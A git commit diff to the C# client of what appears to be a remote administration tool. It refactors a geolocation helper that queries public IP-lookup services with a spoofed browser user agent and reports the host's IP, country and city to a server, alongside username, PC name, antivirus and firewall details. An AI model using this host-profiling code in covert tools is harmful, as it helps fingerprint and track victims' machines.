Merge pull request #334 from MaxXor/pr/331

Improved GeoLocationHelper
This commit is contained in:
MaxXor 2015-08-18 07:33:58 +02:00
commit 4825ea78e0
4 changed files with 167 additions and 61 deletions

View File

@ -17,7 +17,8 @@ namespace xClient.Core.Commands
{
GeoLocationHelper.Initialize();
new Packets.ClientPackets.GetAuthenticationResponse(Settings.VERSION, SystemCore.OperatingSystem, SystemCore.AccountType,
GeoLocationHelper.Country, GeoLocationHelper.CountryCode, GeoLocationHelper.Region, GeoLocationHelper.City, GeoLocationHelper.ImageIndex,
GeoLocationHelper.GeoInfo.country, GeoLocationHelper.GeoInfo.country_code,
GeoLocationHelper.GeoInfo.region, GeoLocationHelper.GeoInfo.city, GeoLocationHelper.ImageIndex,
SystemCore.GetId(), SystemCore.GetUsername(), SystemCore.GetPcName(), Settings.TAG).Execute(client);
}

View File

@ -383,7 +383,7 @@ namespace xClient.Core.Commands
"LAN IP Address",
SystemCore.GetLanIp(),
"WAN IP Address",
SystemCore.WanIp,
GeoLocationHelper.GeoInfo.ip,
"Antivirus",
SystemCore.GetAntivirus(),
"Firewall",

View File

@ -1,6 +1,9 @@
using System;
using System.IO;
using System.Net;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Json;
using System.Text;
using System.Xml;
namespace xClient.Core.Helper
@ -36,10 +39,7 @@ namespace xClient.Core.Helper
};
public static int ImageIndex { get; set; }
public static string Country { get; private set; }
public static string CountryCode { get; private set; }
public static string Region { get; private set; }
public static string City { get; private set; }
public static GeoInformation GeoInfo { get; private set; }
public static DateTime LastLocated { get; private set; }
public static bool LocationCompleted { get; private set; }
@ -55,10 +55,9 @@ namespace xClient.Core.Helper
// last location was 30 minutes ago or last location has not completed
if (lastLocateTry.TotalMinutes > 30 || !LocationCompleted)
{
TryGetWanIp();
TryLocate();
if (CountryCode == "-" || Country == "Unknown")
if (GeoInfo.country_code == "-" || GeoInfo.country == "Unknown")
{
ImageIndex = 247; // question icon
return;
@ -66,7 +65,7 @@ namespace xClient.Core.Helper
for (int i = 0; i < ImageList.Length; i++)
{
if (ImageList[i].Contains(CountryCode.ToLower()))
if (ImageList[i].Contains(GeoInfo.country_code.ToLower()))
{
ImageIndex = i;
break;
@ -75,13 +74,114 @@ namespace xClient.Core.Helper
}
}
private static void TryLocate()
{
LocationCompleted = false;
try
{
DataContractJsonSerializer jsonSerializer = new DataContractJsonSerializer(typeof(GeoInformation));
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://telize.com/geoip");
request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0";
request.Proxy = null;
request.Timeout = 5000;
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
{
using (Stream dataStream = response.GetResponseStream())
{
using (StreamReader reader = new StreamReader(dataStream))
{
string responseString = reader.ReadToEnd();
using (MemoryStream ms = new MemoryStream(Encoding.UTF8.GetBytes(responseString)))
{
GeoInfo = (GeoInformation)jsonSerializer.ReadObject(ms);
}
}
}
}
LastLocated = DateTime.UtcNow;
LocationCompleted = true;
}
catch
{
TryLocateFallback();
}
}
private static void TryLocateFallback()
{
GeoInfo = new GeoInformation();
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://freegeoip.net/xml/");
request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0";
request.Proxy = null;
request.Timeout = 5000;
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
{
using (Stream dataStream = response.GetResponseStream())
{
using (StreamReader reader = new StreamReader(dataStream))
{
string responseString = reader.ReadToEnd();
XmlDocument doc = new XmlDocument();
doc.LoadXml(responseString);
string xmlIp = doc.SelectSingleNode("Response//IP").InnerXml;
string xmlCountry = doc.SelectSingleNode("Response//CountryName").InnerXml;
string xmlCountryCode = doc.SelectSingleNode("Response//CountryCode").InnerXml;
string xmlRegion = doc.SelectSingleNode("Response//RegionName").InnerXml;
string xmlCity = doc.SelectSingleNode("Response//City").InnerXml;
GeoInfo.ip = (!string.IsNullOrEmpty(xmlIp))
? xmlIp
: "-";
GeoInfo.country = (!string.IsNullOrEmpty(xmlCountry))
? xmlCountry
: "Unknown";
GeoInfo.country_code = (!string.IsNullOrEmpty(xmlCountryCode))
? xmlCountryCode
: "-";
GeoInfo.region = (!string.IsNullOrEmpty(xmlRegion))
? xmlRegion
: "Unknown";
GeoInfo.city = (!string.IsNullOrEmpty(xmlCity))
? xmlCity
: "Unknown";
}
}
}
LastLocated = DateTime.UtcNow;
LocationCompleted = true;
}
catch
{
GeoInfo.country = "Unknown";
GeoInfo.country_code = "-";
GeoInfo.region = "Unknown";
GeoInfo.city = "Unknown";
LocationCompleted = false;
}
if (string.IsNullOrEmpty(GeoInfo.ip))
TryGetWanIp();
}
private static void TryGetWanIp()
{
string wanIp = "-";
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://api.ipify.org/");
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://api.ipify.org/");
request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0";
request.Proxy = null;
request.Timeout = 5000;
@ -101,56 +201,62 @@ namespace xClient.Core.Helper
{
}
SystemCore.WanIp = wanIp;
}
private static void TryLocate()
{
try
{
HttpWebRequest request = (HttpWebRequest) WebRequest.Create("https://freegeoip.net/xml/");
request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0";
request.Proxy = null;
request.Timeout = 5000;
using (HttpWebResponse response = (HttpWebResponse) request.GetResponse())
{
using (Stream dataStream = response.GetResponseStream())
{
using (StreamReader reader = new StreamReader(dataStream))
{
string responseString = reader.ReadToEnd();
XmlDocument doc = new XmlDocument();
doc.LoadXml(responseString);
Country = (!string.IsNullOrEmpty(doc.SelectSingleNode("Response//CountryName").InnerXml))
? doc.SelectSingleNode("Response//CountryName").InnerXml
: "Unknown";
CountryCode =
(!string.IsNullOrEmpty(doc.SelectSingleNode("Response//CountryCode").InnerXml))
? doc.SelectSingleNode("Response//CountryCode").InnerXml
: "-";
Region = (!string.IsNullOrEmpty(doc.SelectSingleNode("Response//RegionName").InnerXml))
? doc.SelectSingleNode("Response//RegionName").InnerXml
: "Unknown";
City = (!string.IsNullOrEmpty(doc.SelectSingleNode("Response//City").InnerXml))
? doc.SelectSingleNode("Response//City").InnerXml
: "Unknown";
}
}
}
LastLocated = DateTime.UtcNow;
LocationCompleted = true;
}
catch
{
Country = "Unknown";
CountryCode = "-";
Region = "Unknown";
City = "Unknown";
LocationCompleted = false;
}
GeoInfo.ip = wanIp;
}
}
[DataContract]
public class GeoInformation
{
[DataMember]
public double longitude { get; set; }
[DataMember]
public double latitude { get; set; }
[DataMember]
public string asn { get; set; }
[DataMember]
public string offset { get; set; }
[DataMember]
public string ip { get; set; }
[DataMember]
public string area_code { get; set; }
[DataMember]
public string continent_code { get; set; }
[DataMember]
public string dma_code { get; set; }
[DataMember]
public string city { get; set; }
[DataMember]
public string timezone { get; set; }
[DataMember]
public string region { get; set; }
[DataMember]
public string country_code { get; set; }
[DataMember]
public string isp { get; set; }
[DataMember]
public string postal_code { get; set; }
[DataMember]
public string country { get; set; }
[DataMember]
public string country_code3 { get; set; }
[DataMember]
public string region_code { get; set; }
}
}

View File

@ -42,7 +42,6 @@ namespace xClient.Core
public static string OperatingSystem { get; set; }
public static string MyPath { get; set; }
public static string InstallPath { get; set; }
public static string WanIp { get; set; }
public static string AccountType { get; set; }
public static string GetOperatingSystem()